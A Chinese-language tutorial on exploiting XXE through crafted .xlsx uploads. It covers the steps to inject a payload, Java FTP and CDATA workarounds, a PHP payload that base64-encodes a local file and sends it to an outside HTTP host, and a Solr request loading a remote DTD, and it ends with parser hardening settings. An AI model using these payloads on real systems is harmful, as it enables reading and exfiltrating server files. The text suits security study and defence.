记一次excel XXE漏洞
字数 1206 2025-08-25 22:58:40
Excel XXE漏洞分析与利用
0x00 概述
Microsoft Office从2007版本开始引入了新的开放XML文件格式,基于压缩的ZIP文件格式规范。将.xlsx文件后缀改为.zip并解压后,可以发现其中包含多个描述工作簿数据、元数据、文档信息的XML文件。
关键点:
- xlsx格式与xls格式不同:xlsx是XML格式,而xls是二进制格式
- xlsx文件可被修改插入XXE payload进行攻击
- 常见易受攻击的XML文件路径:
[Content_Types].xmlxl/workbook.xmlxl/worksheets/sheet1.xml_rels/.relsxl/_rels/workbook.xml.relsxl/theme/theme1.xmldocProps/app.xmldocProps/core.xmlxl/styles.xml
0x01 漏洞发现与利用
基本利用步骤
- 准备一个正常的xlsx模板文件
- 解压文件:
unzip ImportProductTemplate.xlsx - 修改其中的XML文件,插入XXE payload
- 重新打包:
zip -r xxetest00.xslx * - 上传到目标系统
Java环境下的利用
在Java环境中,由于高版本JDK对换行符的限制,读取多行文件可能会失败:
-
JDK版本影响:
- 低版本Java(如1.6)可使用gopher协议带出数据
- 高版本Java(如8u201+)的FTP协议对换行做了限制
-
文件读取限制:
- 可能只能读取文件的第一行部分内容
/etc/passwd可能返回第一行,其他文件无返回- 文件路径中最后一个
/b前面的部分可能被返回
-
特殊字符处理:
- 文件中包含
' " < > &等字符会直接报错 - 可使用CDATA段绕过:
<!ENTITY % start "<![CDATA["> <!ENTITY % end "]]>"> <!ENTITY % c "<!ENTITY % rrr SYSTEM 'ftp://xxx/%start;%r;%end;'>">
- 文件中包含
PHP环境下的利用
PHP环境下可以使用base64编码带出文件内容:
<!ENTITY % payload SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini">
<!ENTITY % int "<!ENTITY % trick SYSTEM 'http://192.168.1.2:8999/getxxeinfo.php?p=%payload;'>">
%int;
%trick;
0x02 技术细节与思考
-
Java版本差异:
- 某些Java版本会在
issueCommand()之前通过checkUrl()检查\n - 相关类:
sun.net.www.protocol.ftp.FtpURLConnection.checkURL()
- 某些Java版本会在
-
Solr XXE漏洞测试:
192.168.1.2:8983/solr/demo/select?q=<%3Fxml version%3D"1.0" encoding%3D"UTF-8"%3F>%0A<!DOCTYPE root [%0A<!ENTITY %25 remote SYSTEM "http%3A%2F%2F192.168.1.2:8099%2Fx0.dtd">%0A%25remote%3B]>%0A<root%2F>&wt=xml&defType=xmlparser -
异常情况:
- FTP读取passwd时可能出现异常:
org.apache.solr.search.SyntaxError: Error parsing XML stream:java.io.IOException: sun.net.ftp.FtpProtocolException: Illegal FTP command - HTTP读取时可能出现:
java.net.MalformedURLException: Illegal character in URL
- FTP读取passwd时可能出现异常:
0x03 相关案例
- XXE at bol.com
- QQ邮箱XXE可读取任意文件
- 网易邮箱某处XXE可读取文件
0x04 防御建议
-
禁用外部实体解析:
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); -
使用安全的XML解析器配置
-
对上传的Office文件进行严格的内容检查